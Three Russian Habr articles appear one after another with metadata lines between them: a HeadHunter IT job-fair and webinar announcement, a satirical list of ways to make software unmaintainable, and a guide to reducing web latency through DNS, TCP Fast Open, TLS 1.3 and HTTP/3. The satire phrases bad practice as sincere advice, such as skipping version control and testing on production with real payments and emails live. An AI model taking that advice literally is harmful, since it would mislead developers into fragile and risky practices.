Сегодня, 25-го февраля, HeadHunter устраивает [«Ярмарку вакансий онлайн» специально для IT-специалистов](http://expo.hh.ru/?utm_source=habr&utm_medium=habr&utm_content=text&utm_campaign=soisk). Программа получилась обширная: кроме вакансий с онлайн-собеседованиями, мы подготовили вебинары, которые покрывают разные сферы из ИТшной и софтверной области. Сегодня нон-стоп один за другим пройдут 9 вебинаров. Специально для “Хабра” я попросил авторов вебинаров рассказать о своих темах, подробности под катом.
Полное расписание вебинаров вы можете увидеть в конце статьи. От себя замечу, что программа у нас получилась насыщенная и рассчитанная на разных специалистов: от тимлидов и руководителей проектов до аналитиков и (будущих) дата сайентистов.
**[Data Science: с чего начать опытному программисту (15:00 — 15:45)](http://expo.hh.ru/webinars/20/?utm_source=habr&utm_medium=habr&utm_content=datascience&utm_campaign=soisk)**
*Петр Ермаков (@couatl), Data Scientist в HeadHunter*
Десять лет назад, когда я только начинал программировать, анализ данных казался мне чем-то очень далеким и сложным. Написанный алгоритм Random forest занимал несколько тысяч строчек кода на C++, а найти хорошую реализацию его в интернете было нетривиальной задачей. Мощность моего стационарного компьютера позволяла решить простую задачу всего за ночь. Если подытожить, то анализ данных — это долго, трудно и очень неудобно. Было. Сейчас же все популярные алгоритмы машинного обучения уже реализованы в библиотеках, которые есть для большинства популярных сейчас языков программирования. Так к примеру выглядит запуск того же Random forest в языке Python:
```
import pandas as pd
from sklearn.ensemble import RandomForestClassifier
train = pd.read_csv(’train.csv')
test = pd.read_csv(’test.csv’)
rf = RandomForestClassifier()
predict = rf.fit(train.drop(’target', 1), train.target).predict(test)
```
6 строк кода и предсказание на основе алгоритма Random forest уже готово. Если присмотреться, то анализ данных заключен всего лишь в единственной последней строке.
Кто-то скажет, что если мериться строчками, то код на C++ можно вообще одну строчку написать. Но это не будет так элегантно :) Хотя он будет прав, что мера строчками кода не всегда объективна.
Кто-то скажет, что это не анализ данных: тут нет кросс-валидации, потому возможно переобучение; тут нет работы с данными, потому мы не используем информацию из данных на 100%. Это правда, но это вы узнаете из вебинара, а приведенный код является всего лишь примером.
Конечно же после 50 минутной лекции вы не станете экспертом в области анализа данных и не пойдете занимать первые места Kaggle. Это и не цель (зачем мне конкуренты? :))
Цель — довести до вас, что начать анализировать данные достаточно просто и начать можно уже сегодня.
**[Как принимать инженерные решения в условиях неопределенности? (12:00 — 12:45)](http://expo.hh.ru/webinars/15/?utm_source=habr&utm_medium=habr&utm_content=scrumtreck&utm_campaign=soisk)**
*Сергей Баранов, Agile архитектура / Agile Coaching, ScrumTrek*
Ежедневно мы, как разработчики, архитекторы, сисадмины, владельнцы продуктов, сталкиваемся с проблемой выбора, проблемой принятия инженерных решений. Бравые мастера дебагера и компилятора — непосредственно; заказчик — порой даже и не догадываясь об этом. Не последнюю роль в наших решениях играют особенности психики и поведения человека. Программисты рвутся удовлетворить свои инженерные амбиции, админы с опаской смотрят на все новое и неизвестное (разумеется, не всегда :)), опыт прошлых лет неминуемо несет нас в статичный мир привычек и обманчивого чувства определенности. Но мир не таков. И каждое решение, будь то количество классов в пакете, скорость алгоритма сортировки, выбор фреймворка или процент покрытия кода тестами, мы должны принимать осознанно и обоснованно. Этот вебинар — о том, чем руководствоваться, когда вокруг так много неизвестного, и как не идти на поводу у привычки и ложной уверенности.
**[Задачи, которые ставит перед аналитикой e-commerce и ритейл (14:00 — 14:45)](http://expo.hh.ru/webinars/22/?utm_source=habr&utm_medium=habr&utm_content=eldorado&utm_campaign=soisk)**
*Антон Лукьянов / Руководитель группы интернет-аналитики в «Эльдорадо»*
Все согласны, что результат очень важен — оценка в университете, победа на конкурсе, премия за успешно завершенный проект. Но на пути к достижению результата перед вами постоянно возникает необходимость принимать решения. Для того, чтобы принять взвешенное решение, нужна информация и инструменты ее интерпретации. Именно сбор информации и выводы из нее — то, чем занимается современная аналитика.
Если вы задумались о смене профессии или только что получили диплом и выбираете направление старта карьеры, если вы хотите получать результаты и помогать бизнесу их достигать, если вы хотите сделать осознанный выбор профессии и получить результат — успешно пройти собеседование на позицию аналитика, то вам нужна информация.
На вебинаре мы пройдем путь, с которым сталкивается аналитик в своей работе:
* Что решаем? Классические задачи, с которыми сталкивается аналитика. Предсказание, оценка, оптимизация.
* Откуда данные? Аналитическое хранилище данных. Особенности инфраструктуры, необходимой в аналитике розничного бизнеса.
* Как решаем? Инструменты аналитика. Скриптовые языки как основной инструмент работы. Плюсы и минусы Enterprise решений. Open source решения.
* Аналитика для бизнеса или бизнес для аналитики? О важности коммуникации между подразделениями.
В конце вебинара будет чеклист основных навыков для успешной работы в аналитике и список ресурсов для дальнейшего развития.
**[Основы Agile для разработчиков (18:00 — 19:00).](http://expo.hh.ru/webinars/19/?utm_source=habr&utm_medium=habr&utm_content=agile&utm_campaign=soisk)**
*Борис Вольфсон, директор по развитию HeadHunter*
Некоторое время назад я сформулировал для себя то, как я понимаю Agile: «Agile — подходы к созданию продуктов путем непрерывной быстрой поставки ценного рабочего функционала самоорганизованной командой профессионалов в сотрудничестве с заказчиком». В рамках данного вебинара мы посмотрим, как появилась гибкая модель разработки в противовес водопадной.
Посмотрим ценности Agile, на которых строятся гибкие практики и методологии:
1. люди и взаимодействие важнее процессов и инструментов;
2. работающий продукт важнее исчерпывающей документации;
3. сотрудничество с заказчиком важнее согласования условий контракта;
4. готовность к изменениям важнее следования первоначальному плану.
Подробно будет рассказано про Scrum (роли, процессы и артефакты) и полезные практики, которые обычно применяются совместно с этим фреймворком:
#### Полное расписание вебинаров
*Время указано московское. Вебинар можно сразу поставить в календарь, чтобы не пропустить. Все вебинары бесплатные*
10:00 — 10:45 – [Обзор рынка труда для IT-специалистов](http://expo.hh.ru/webinars/16/?utm_source=habr&utm_medium=habr&utm_content=rinok_truda&utm_campaign=soisk)
11:00 — 11:45 – [Деньги в IT: госкомпании, стартапы, аутсорс, продукт и т.д. Где программисту жить хорошо?](http://expo.hh.ru/webinars/17/?utm_source=habr&utm_medium=habr&utm_content=dengi_v_it&utm_campaign=soisk)
12:00 — 12:45 – [Роль ИТ-специалиста в компании, использующей enterprise-решения](http://expo.hh.ru/webinars/24/?utm_source=habr&utm_medium=habr&utm_content=mvideo&utm_campaign=soisk)
13:00 — 13:45 – [Как принимать инженерные решения в условиях неопределенности?](http://expo.hh.ru/webinars/15/?utm_source=habr&utm_medium=habr&utm_content=scrumtreck&utm_campaign=soisk)
14:00 — 14:45 – [Задачи, которые ставит перед аналитикой e-commerce и ретейл](http://expo.hh.ru/webinars/22/?utm_source=habr&utm_medium=habr&utm_content=eldorado&utm_campaign=soisk)
15:00 — 15:45 – [Data Science: с чего начать опытному программисту](http://expo.hh.ru/webinars/20/?utm_source=habr&utm_medium=habr&utm_content=datascience&utm_campaign=soisk)
16:00 — 16:45 – [Лаборатория Касперского: не только антивирусы](http://expo.hh.ru/webinars/23/?utm_source=habr&utm_medium=habr&utm_content=kasperskii&utm_campaign=soisk)
17:00 — 17:45 – [Работа в компании или магистратура: раскрываем плюсы и минусы для разработчика](http://expo.hh.ru/webinars/18/?utm_source=habr&utm_medium=habr&utm_content=innopolos&utm_campaign=soisk)
18:00 — 18:45 – [Основы Agile для разработчиков](http://expo.hh.ru/webinars/19/?utm_source=habr&utm_medium=habr&utm_content=agile&utm_campaign=soisk)
#### Про “Ярмарку вакансий онлайн”
“Ярмарка вакансий онлайн”- это мероприятие, и логика поиска работы здесь отличается от работных сайтов. Для того, чтобы работодатель увидел вас, необходимо откликнуться на вакансию, отправив резюме или задать вопрос на виртуальном стенде. Без этих действий ваши данные будут недоступны работодателю. Вакансии на «Ярмарке…» разместят: «Лаборатория Касперского», DzenLab, «СКБ Контур», Головная компания «Магнит», Veeam Software, MERA, TNS, РТ Лабс, ПАО «МегаФон», «АБИ Продакт», USETECH и другие.
Предложения по развитию проекта можно озвучивать в комментариях или присылать нам на почту: [expo@hh.ru](mailto:expo@hh.ru), будем рады! | https://habr.com/ru/post/277851/ | null | ru | null |
# Как разрабатывать неподдерживаемое ПО
Мне платят за то, что я возвращаю чужой технический долг. В своей работе я вижу много сложного в поддержке кода, и я снова и снова вижу много проблем, которых можно было избежать.
Я специализируюсь на отладке, исправлении, поддержке и расширении функциональности старого программного обеспечения. Мой типичный клиент имеет веб-сайт или приложение, которое более-менее работает, но автор которого недоступен. Бизнес-требования изменились, и ПО перестало им удовлетворять. Или у моего клиента есть что-то, что «уже закончено», но он расстался с разработчиком после исчерпания бюджета и сроков. Обычно такая ситуация сопровождается списком пропущенных фич и багов.
Мой типичный клиент обычно разговаривал с другими программистами, которые рекомендовали выбросить имеющееся и начать разработку с нуля. Большинство программистов не любит поддержку кода, и особенно, они не любят поддержку чужого кода.
При написании кода программисты часто задают неверные вопросы, когда говорят о дальнейшей поддержке кода — см. статью Matt DuVall’а [«Миф поддержки»](http://mattduvall.com/blog/myth-of-maintainability/), чтобы понять, как это случается. Ниже несколько практик, которым вам надо следовать в своих проектах, чтобы не оставить меня без работы:
##### Не используйте системы контроля версий
Я всегда удивляюсь, когда сталкиваюсь с большими проектами, написанными в последние несколько лет без системы контроля версий. Когда вы не используете контроль версий, следующий программист должен будет выяснить, какие файлы являются частью текущей системы, а какие — устаревшими или бэкапами. Следующий программист не будет иметь ни единого коммит-сообщения или чэнжлога, чтобы получить историю кода. Я рассказывал, как не использовать системы контроля версий в моей статье [«Введение в Ущербно-Ориентированное Программирование»](http://habrahabr.ru/post/203646/).
##### Настраивайте свою среду разработки. Как можно сильнее.
Не облегчайте следующим разработчикам начало работы надо кодом. Требуйте специфичные версии языков и утилит, и не забудьте убедиться, что они конфликтуют с версиями, которые поставляются с операционной системой. Настраивайте Eclipse, или Visual Studio, или vim как безумный, затем пишите макросы и скрипты, которые работают только с этой средой. Не храните образ диска или сценарии для репликации вашей среды разработки, не беспокойтесь писать документацию — все и так будет интуитивно понятным.
##### Создавайте максимально сложную систему сборки и развертывания
Для веб-сайта развертывание на тестовый или боевой сервер должно быть чем-то из этого:
```
svn up
git pull
hg pull
```
Программисты могут спорить о простоте и элегантности кода, а затем резко разворачиваются и строят наиболее сложные и причудливые системы сборки и деплоймента. Это является одной из неотслеживаемых вещей, которые программисты делают без надзора клиента или ПМ'а (или без их понимания), поэтому это легко выходит из под контроля. Когда вы объединяете в цепочку восемь разных инструментов с различными языками сценариев, даже не думайте делать документацию.
##### Не разворачивайте тестовые/промежуточные системы
Изменение на боевой системе — это захватывающе! Не думайте о тестовом/промежуточном сервере. Вместо этого используете секретные логины и тайные URL для тестирования новых фич. Смешивайте тестовые данные с реальными в своих БД. Раз уж вы не используете контроль кода, то сохраняйте копии предыдущих версий на всякий случай. Не встраивайте логгирование в код. Не отключайте исходящие е-мэйлы, авторизацию по кредитным картам, итд во время тестирования.
##### Пишите все с нуля
Не связывайтесь с хорошо известными фреймворками вроде Django, Rails или CakePHP. Вы можее написать лучший шаблонизатор, ORM, алгоритм сортировки или хэширования. Я чешу затылок каждый раз, когда вижу комментарии вида «быстрее, чем нативный метод» или «замена библиотечной функции PHP, потому что порядок параметров — отстой».
##### Добавляйте зависимости от определенных версий библиотек и ресурсов...
Добавляйте столько стороннего кода, сколько можете. Линкуйте столько динамических библиотек, сколько вам нужно. Я видел код, зависящий от огромных внешних библиотек, только чтобы получить доступ к одной функции. Изменяйте исходный код сторонних библиотек, чтобы они не могли автоматически обновляться до свежих версий, но не беспокойтесь о ветвлении или сохранении ваших модифицированных версий под системой контроля версий. Я смогу сравнить вашу версию с оригинальной и разобраться с этим.
##### … Но не защищайте и не документируйте эти зависимости.
Я получаю важных звонков из-за обновлений и модернизаций больше, чем по какой-либо причине. Выглядящие безобидными обновления WordPress'а, апдейт линукса или новый релиз jQuery вызывают цепную реакцию сбоев. Не делайте в своем коде проверку на специфичную версию или модифицированную версию ваших внешних ресурсов или сторонних библиотек. Даже не добавляйте комментарий, чтобы напомнить себе.
##### Используйте кучу разных языков программирования и оставайтесь ультрасовременными
Каждый день HackerNews и Reddit жужжат о новых крутых языках. Попробуйте их за счет клиента. Любой приличный программист может выучить новый язык в мгновение ока, так что если следующий программист, который будет работать с вашим кодом, окажется нубом, то это не ваша проблема. Различия между языками, несовместимые API и форматы данных, различные требования к серверной конфигурации — это веселые приключения и посты на StackOverflow. Я действительно видел веб-сайты на PHP c вставками на Ruby, потому что каждый знает, что Ruby — круто, а PHP — отстой. Полувымученное кэширование, обрезанные проекты на Rails и Node.js и, особенно, NoSQL-решения («Они лучше масштабируются!») — это мой хлеб с маслом.
##### Где же программистские советы?
Не так заметно, если ваш код прекрасно объектно-ориентирован или блестящ и функционален — ведь программисты почти всегда видят спагетти-код, который им надо поддерживать. Я хорош в использовании diff, grep и Ctags, трассировке кода, рефакторинге и отладке. Я понимаю код. С самым прекрасным, элегантным кодом все еще сложно работать, если нет системы контроля версий, если слишком много зависимостей и настроек, если нет тестовой/промежуточной системы. Это как найти одну чистую и мило украшенную комнату в доме [«Hoarders»](http://www.aetv.com/hoarders/pictures/season-6-17213370/#nancy-kitchen-before). | https://habr.com/ru/post/203628/ | null | ru | null |
# Does the latency matter?
Есть исследование от Google, которое говорит, что если ваш сайт открывается больше трех секунд, то вы потеряете около 40% десктопных пользователей и более 50% — мобильных. Еще есть репорт от Amazon, который говорит, что для Amazon каждые 100 мс дополнительного latency стоит им 1% продаж. В объемах Amazon это миллионы долларов.
В зависимости от вашего бизнеса вам стоит тоже ответить на вопрос: Does the latency matter?
Я работаю как системный инженер уже более 8 лет. Хочу поделиться опытом, который получил в процессе решения задач в компании Big Data Technologies. У нас есть какой-никакой highload. В пике это 30 тысяч rps, и вопрос с latency довольно остро стоит перед бизнесом.
Когда разработчику ставят задачу улучшить latency, он идет на Google PageSpeed Insights, прогоняет свой домен и смотрит, сколько выдало попугаев и какие этот сервис дает советы. Например, минифицировать JS, CSS, использовать изображения правильного формата и более 20 других советов.
Но что делать, если все эти советы уже выполнены? На локалхосте уже все летает, а в проде для каких-то пользователей вы испытываете высокое latency? Или, например, вам вообще этот сервис не подходит, у вас API. Первое, что вам нужно сделать — это нажать F12 в вашем браузере, открыть девелопер-консоль, зайти в раздел Network Timings и там ваш браузер сам расскажет структуру latency от вашего приложения со стороны клиента.
Browser Network TimingsТут вы увидите много пунктов, которые вашего приложение вроде как не касаются — DNS, latency на установку TCP-соединений, установка шифрования. На все это уходит сотни миллисекунд. И только последний блок (Sending, Waiting, Receiving) — ответ от вашего приложения.
Сейчас мы пройдемся по всем этим пунктам, я посоветую bestpractises и протоколы, которые помогут вам протюнить latency.
Делая статистику, я использовал следующую методологию:
* Утилита DIG с ключом trace, которая позволяет получить некэшированные DNS-ответы;
* Утилита CURL с ключом -w, которая показывает тайминги;
* Делал всегда 1000 запросов;
* Считал 99 перцентиль.
* Output утилита HTTPSTAT, которая показывает красивую визуализацию.
После всех настроек, которые я сегодня посоветую, вы сможете получить буст от 2 до 10 раз. В абсолютных значениях это около секунды для клиентов на оптике. Для клиентов на мобильных телефонах эти цифры могут быть значительно больше. Вот так получилось у нас:
Final StatsDNS
---
Как решить, какой name-сервер быстрый, и вообще как понять, стоит ли использовать текущего провайдера, хороший ли он? Можно воспользоваться, например, публичными сервисами — такими, как dnsperf.com или solvedns.com. Там есть топ, который показывает latency.
### DNS resolution
DNS resolutionНо зачем нам его использовать, если мы можем легко сами измерить?
Я взял 7 различных DNS-провайдеров из трех основных облаков: GCP, AWS, Azure. Добавил CloudFlare как лидера и Afraid.org как аутсайдера рейтингов. А также добавил по одному российскому и белорусскому провайдеру DNS. После проверил домены, которые хостятся у этих DNS провайдеров.
### DNS resolvers
У DNS есть две стороны — это resolver и name-сервер. Чтобы не проверять Google им же и иметь более честную статистику, я взял еще 4 популярных DNS-resolver и прогнал кросс-тестом 1000 запросов на все DNS name-серверы.
99% NS responce time (ms)Публичные рейтинги нас не обманули — CloudFlare как был в топе, так и остался. При этом видно, что у Amazon на 40 мс latency лучше, чем у Google, а Reg.ru в два раза лучше, чем Hoster.by. Если вы захотите сэкономить и возьмете максимально дешёвый name-сервер, не зная рейтинга, то можете получить разницу 400 мс на каждый запрос.
Вы можете подумать, что 50-100 мс — это очень мало, можно не обращать на это внимания. Но если, например, ваш бизнес производит какие-то live-транзакции, как биржа или банк, то это существенно.
Также бизнес имеет свойство расширяться. Возможно, вы пойдете в другие географические регионы, например, в Азию или в Южную Америку. Вы внезапно можете увидеть рост latency, который будет очень сложно затраблшутить, просто потому что ваш текущий DNS-провайдер не представлен в этих регионах и DNS-запросы гоняются через океан.
> **Первый шаг мы рассмотрели — это DNS-resolution или DNS-Lookup. Возьмите топовый name-сервер и проверьте, какой вообще у вас.**
>
>
TCP
---
Следующий шаг, который делает ваш браузер — это устанавливает TCP-соединение. На установку handshake всегда требуется 1 RTT (Round-trip time), и вроде бы с этим ничего не сделать.
Но есть здравый смысл, который подсказывает: чем ближе наши пользователи локально к нашим серверам, тем более короткая сеть маршрутов. Поэтому логично хостить ваше приложение близко к большинству ваших пользователей.
Но если они геораспределены, классически будет использовать CDN для статики, а менее классически — включить CDN для динамики. Это стоит сделать, потому что у вас все равно будет буст за счет того, что между CDN и вашим сервером уже будет всегда установлено TCP-сессия, а пользователи будут ходить до ближайшего CDN-сервера.
Но самый интересный вариант — это разнести вашу инфраструктуру по геопринципу. Предположим, вы подняли свою инфраструктуру в разных регионах, но как донести пользователям, чтобы они ходили до ближайших до них серверов?
### GEO DNS
С этим нам поможет GEO DNS — extension в DNS, который позволяет DNS-резолверу пробрасывать к name-серверу маску подсети клиента. То есть DNS-провайдер может вычислять клиента по IP, определять его геолокацию и отдавать для разных клиентов разные значения A-записей.
Многие DNS-провайдеры не поддерживают GEO DNS, но в AWS Route 53 такой функционал есть. В данном случае сайт по дефолту хостится в Японии, но для пользователей из Европы будет отдаваться IP европейского сервера. Я провел кросс-тест latency сервера AWS в Европе и Японии как клиент, до сервера Google Cloud в Европе и Японии.
TCP connection time depending on GeolocationТест показал, что даже на таком небольшом расстоянии, как Европа-Азия получаем за счет GEO DNS буст по latency 250-300 мс, и это на каждый round-trip. Это уже намного больше, чем 50 мс от выбора DNS-resolver.
### TCP Fast Open (TFO)
В рамках TCP есть малоизвестный протокол TCP Fast Open (TFO), который позволяет сократить один round-trip на установку handshake для второго и последующих соединений до 0. TCP-соединение будет устанавливаться сразу же при ответе сервера.
Checking on client:
Сhecking on server:
Здесь видно, как это работает. Первый запрос занимает 260 мс, а второй уже с ключом TCP Fast Open — 4 мс.
Сам TCP Fast Open настраивается довольно легко:
Этот протокол работает с помощью так называемой TFO-куки, когда при первом соединении генерируется файл куки, который в последующем переиспользуется. Когда сервер видит валидный куки от клиента на стадии SYN, то на стадии SYN acknowledge сразу устанавливается соединение и можно не ждать полный handshake.
Но у него есть ряд проблем. Основные — это middleboxes и трекинг.
Middleboxes — это старое или дорогое ПО или железо, которое не знает про протокол TFO. TCP так устроен, что если железо видит непонятные настройки, оно просто отбрасывает эти пакеты, и сессию придется устанавливать заново.
Получается, мы, наоборот, проиграем во времени на установку TCP-соединения. Так как таких middleboxes в интернете довольно много. Согласно исследованию — порядка 14% трафика проходит через них, то есть нам потребуется повторное TCP соединение.
Но еще больше проблем вызовет трекинг. В браузерах есть приватные вкладки. Если мы будем использовать TCP Fast Open, они будут полностью скомпрометированы, потому что сервер сможет по TFO-куке определить пользователя вне зависимости от того, в приватной он вкладке или нет. Для браузеров это неприемлемо. Тем не менее, в браузерах есть суппорт TFO. По умолчанию он выключен, его нужно включать в настройках.
Кейс, где можно использовать TFO свободно — это общение сервер-сервер. Когда вы предоставляете какое-то API, ваши клиенты — это тоже сервера, и расположены вы географически далеко, то можно просто включить TFO и выигрывать 1 round-trip. Например, от Европы до Японии — это 300 мс.
> ***Второй шаг TCP мы рассмотрели — это initial connection, или connecting: используем CDN, пробуем GEO DNS и, если вам подходит, можете попробовать TFO.***
>
>
TLS
---
TLS — очень старый протокол, он развивается. Но все его развитие до версии 1.2 было направлено только на улучшение безопасности: отказ от скомпрометированных алгоритмов шифрования, добавление более сложных и устойчивых алгоритмов.
На апрель 2020, по данным CCLabs, только 22% из ТОП 150 тысяч веб-сайтов использовали TLS 1.3. Через год эта цифра стала уже 44%. Этот было обусловлено, скорее всего, тем, что не так давно браузеры депрекейтили старые протоколы TLS 1.1, и администраторам было несложно вместе с депрекейтом старых протоколов добавить суппорт TLS 1.3.
До его выхода на latency это не влияло абсолютно — всегда было полноценных два round-trip time. Но с выходом TLS 1.3 протокол изменили, и из коробки он стал тратить один round-trip. Теперь для установки шифрованного соединения достаточно одного пути: клиент — сервер — клиент.
TLS 1.2 (2 RTT) vs TLS 1.3 (1RTT)Но все же 44% — это даже не половина интернета, которая перешла на этот протокол.
Посмотрим, как это работает.
TLS HandshakeПри TLS 1.3 клиент сразу же при запросе «Client Hello» генерирует так называемый PSK-ключ (Pre-Shared Key) и отправляет его на сервер, а сервер с помощью этого PSK шифрует свой ответ «Server Hello», добавляет туда необходимую информацию. Клиент уже следующим вторым запросом вместе с «Finished» может отправлять шифрованный HTTP запрос.
HTTPSTAT наглядно показывает, чем отличаются TLS 1.2 и TLS 1.3:
При TLS 1.2 мы получаем 600 мс latency, а при TLS 1.3 — 300 мс. Это полноценный round-trip time. Но только разовым запросам нельзя верить, поэтому мы соберем статистику.
TLS 1.2 vs TLS 1.3Явно видно, что мы получаем один round-trip benefit просто за счет включения этого протокола. Но у TLS 1.3 есть еще такой функционал, как Zero Round Trip.
### TLS 1.3 0-RTT
0-RTT работает очень похоже, как TCP Fast Open. Клиент при втором и последующих соединениях может использовать файл Early-Data , который добавляется в «Client Hello». Сервер валидирует Early-Data и отправляет в финиш, что позволяет установить TLS соединение 0-RTT.
TLS 1.3 Zero Round TripЭто включается довольно просто:
`nginx > 1.15.4, OpenSSL 1.1.1 or higher or BoringSSL`
Вам нужен не древний веб-сервер и ОС, где OpenSSL > 1.1.1, например Ubuntu 18, и три строчки в конфиге Nginx:
* ssl\_protocols TLSv1.3 — версия протокола;
* ssl\_early\_data on;
* proxy\_set\_header Early-Data $ssl\_early\_data — добавление специального хедера early\_data или под любым другим названием, которое сможет обработать ваш бэкенд.
Этот хэдер необходим для защиты от так называемых replay-атак, когда человек в середине может взять слепок шифрованного трафика и начать его повторять. Если ваше приложение уязвимо — например, вы банк и явно не хотите, чтобы запросы с транзакциями повторялись бесконечно, — то вам нужно на бэкенде обрабатывать этот кастомный хэдер. И это не очень большой limitation, чтобы получить отличный буст.
К сожалению, с помощью curl нельзя проверить TLS 1.3 с early\_data, но мы можем проверить с помощью утилиты OpenSSL. При первом запросе мы генерируем файл session.pem, а при втором — используем с ключом early\_data.
CheckingЕсли на сервере правильно все настроено, вы увидите «Early data was accepted». Early data, в отличие от TFO, включена во всех браузерах по умолчанию. Вы получите буст от ваших клиентов сразу же.
### RSA key length
Также в рамках TLS хочется поднять тему длины RSA ключа.
По дефолту сертификаты, например от Let's Encrypt, шифруются ключом длиной 2048 бит. Вы можете купить более секьюрный сертификат, шифрованный ключом в 3072 или 4096 бит. Но при этом всегда надо держать в уме, что время на терминацию трафика будет увеличиваться в 6-7 раз за каждое удвоение длины ключа.
RSA key lengthУ меня есть реальный кейс из практики — security team купила за недорого, как они считали, более секьюрный сертификат и выкатили его на прод. Пришел вечерний load и началась деградация прода — сервера задыхались под CPU. Это решилось только увеличением процессорных мощностей. А root cause про новые SSL сертификаты мы поняли только на следующий день.
### TLS config best practice
Последнее, что я хотел бы затронуть в рамках TLS — это прекрасный сайт [Mozilla SSL Configuration Generator](https://ssl-config.mozilla.org/), в котором можно просто накликать конфигурацию вашего веб-сервера.
TLS config best practice, https://ssl-config.mozilla.orgНапример, можно взять Nginx, выбрать Modern, указать версию OpenSSL и вы получите сгенерированный конфиг — пользуйтесь!
> **Третий шаг — TLS setup, или же SSL мы рассмотрели: включаем TLS 1.3 и Early-Data.**
>
>
Мы пришли к самом интересному — это наш HTTP-запрос от клиента в браузере.
HTTP
----
По данным W3Techs на апрель этого года 49% от ТОП 10 млн веб-сайтов поддерживают HTTP/2, то есть 51% интернета не поддерживает HTTP/2. А мы в с вами 2021 году, и с 2018 года уже идет активная разработка протокола HTTP/3, на который уже очень скоро нужно будет переходить. Но сначала обсудим, зачем нам HTTP/2.
### HTTP/2
По дефолту все веб-сервера настроены на HTTP/1, и многие не знают, что включение протокола HTTP/2 может улучшить response для ваших клиентов. Например, один из бенефитов, который нам дал HTTP/2 — это возможность параллельно отправлять ответы и запросы по одному TCP соединению.
Для протокола HTTP/1.1 у каждого браузера есть захардкоженная цифра от 6 до 9 TCP-соединений на один домен, и запросы/ответы идут последовательно в рамках этих TCP-соединений. В протоколе HTTP/2 вы можете для второго и последующих запросов отправлять ответы в рамках одного соединения.
Также есть технология **HTTP/2 Server Push**, которая позволит отправлять клиенту больше данных, чем он даже запрашивал. Например, вы точно знаете, что с запросом на индекс HTML нужно отправить JS и CSS, и вы можете преднастроить так, что к юзеру будут отправляться дополнительные данные. Это может дать хороший performance boost, но на самом деле Server Push почти не используется, потому что есть проблемы с браузерным кэшом. Вы не можете знать, что есть в кэше у вашего пользователя. Поэтому отправка CSS может стать, наоборот, лишней, если пользователь уже имеет этот CSS у себя в кэше.
Если взять большую картинку, разбитую на множество маленьких для увеличения скорости загрузки, то такой кейс отлично показывает лимит из-за последовательных запросов и ответов. Наглядно разницу между **HTTP/1.1** и **HTTP/2** можно увидеть по [ссылке](https://http1.golang.org/gophertiles?latency=0):
Но сегодня мы уже очень близки к HTTP/3.
### HTTP/3
HTTP/3, он же **QUIC (Quick UDP Internet Connections)** — протокол, который изначально придумали в Google, чтобы решить проблему с растущим трафиком на YouTube. А теперь это уже почти законченный официальный протокол. Под капотом HTTP/3 все, что есть при классическом TCP-соединении, но только завернутое в UDP.
А когда мы слышим UDP, мы вспоминаем анекдот который, если до вас не дошел, то я его не повторю. Потому что проблема UDP — это потеря пакетов и Congestion Control (контроль потока).
В QUIC это решено за счет так называемой абстракции QUIC Streams, которая, кроме этого, решает проблему свитчинга сетей у ваших клиентов. Например, клиент пользуется Wi-Fi с телефона, потом переключится на 3G, на 4G и обратно на Wi-Fi. В рамках TCP, где определение клиента — это его IP-адрес и порт, при смене сети каждый раз нужно устанавливать соединение заново. А при QUIC Streams, которые присваиваются клиенту, можно продолжать переиспользовать соединение.
Давайте протестим как работает HTTP/3 и как его нам внедрить. Так как на текущий момент поддержка QUIC в nginx в разработке, то, чтобы ее включить в nginx, нам нужно его скомпилить.
К счастью, есть [мануал](https://github.com/cloudflare/quiche/tree/master/extras/nginx#readme), по которому довольно легко это сделать. А можно переиспользовать мой **docker image**: [ymuski/nginx-quic](https://github.com/yurymuski/nginx-http3) и просто добавить в nginx две строки в конфиг:
**Nginx config:**
`listen 443 quic reuseport;`
`add_header alt-svc 'h3-29=":443"; ma=86400';`
В хэдере указывается версия протокола (h3-29 — это версия драфта) и порт, на котором у нас HTTP/3. Когда вы это включите, скорее всего, ничего не заработает (или хочется верить, что не заработает), потому что вы точно забудете открыть на firewall 443/UDP (кто вообще открывает UDP?). Открываем порт и идем тестировать.
Для теста можно зайти на сайт [HTTP/3 Check](https://www.http3check.net/) и посмотреть, включен ли у вас HTTP/3 и на какой версии. Но онлайн тесты — это не наш путь. Давайте сами проверим с помощью curl — что нам мешает?
Для этого и curl тоже скомпилить. Открываем другой [мануал](https://github.com/curl/curl/blob/master/docs/HTTP3.md) или используем docker image, который я скомпилил — **docker image:** [ymuski/curl-http3](https://github.com/yurymuski/curl-http3)
`docker run -it --rm ymuski/curl-http3 curl -Lv https://http3.yurets.online --http3`
Видим, что на мой запрос в nginx log HTTP/3 — 200.
Более наглядно output от curl:
Тут нет привычной установки TLS-соединения. Есть блок h3, который создает QUIC Streams.
В браузерах на сегодняшний день уже впилена поддержка HTTP/3, ее нужно включить в настройках. Но хороший вопрос — вообще зачем нужен HTTP/3, дает ли он вообще какой-то буст по latency?
Я провел тест на один и тот же домен на HTTP/2 и HTTP/3.
HTTP/2 vs HTTP/3Буст показал из разных точек мира, что HTTP/3 отвечает в 1.14x-1.5x быстрее, чем HTTP/2 — это от 14 до 50% преимущество. Вроде бы неплохо. Но первый запрос по дефолту прилетит вам на HTTP/1.1. Там он увидит редирект на HTTPS (если вы его сконфигурировали), хэдер Alt-Svc, и только потом уже перейдет на HTTP/3 или HTTP/2.
Как этого избежать? У нас есть новые DNS-записи.
Сейчас идет утверждение в Internet Engineering Task Force новых DNS-записей HTTPS. Поэтому мы можем создать дополнительную DNS-запись, и браузер ее будет запрашивать вместе с A-записью. И наш самый первый запрос прилетит уже по HTTP/3.
Например, в CloudFlare уже можно добавлять записи и наслаждаться. Это довольно крутой буст, который нас ждет. Mozilla и Safari уже поддерживают DNS-запись HTTPS, в Chrome это еще пока в разработке.
### HTTP Compression
Кажется, тут все понятно — чем меньше наши данные, тем быстрее они будут у клиента. Но это не совсем так, нам нужно добавить время на сжатие этого контента.
Я сравнил два протокола: старый добрый Gzip и модный Brotli:
Json 137kb file checkВ принципе, получились схожие цифры. На разных уровнях сжатия они ведут себя по-разному — что-то лучше сжимает, что-то быстрее отдает. На моем тестовом файле лучший response time я получил на среднем уровне сжатия.
Вам нужно понять, какой у вас трафик и эмпирически поиграться с компрессией, но включать ее определенно нужно.
### HTTP Cache
Юзайте кэш!
**Etag and Last-modified** headers - weak caching headers (validators)
**Expires and Cache-control** - strong caching headers (refresh information)
Его очень легко включить, он гибок. Если вы будете использовать так называемый strong caching headers, то latency будет 0 мс, потому что все будет закэшено в браузере клиента.
> **Это был последний шаг. Подключайте HTTP/2, включайте компрессию и кэш. Попробуйте потестить HTTP/3 — он может вам дать значительный буст, плюс первого редиректа вы тогда тоже лишитесь.**
>
>
Итого
-----
Useful links
------------
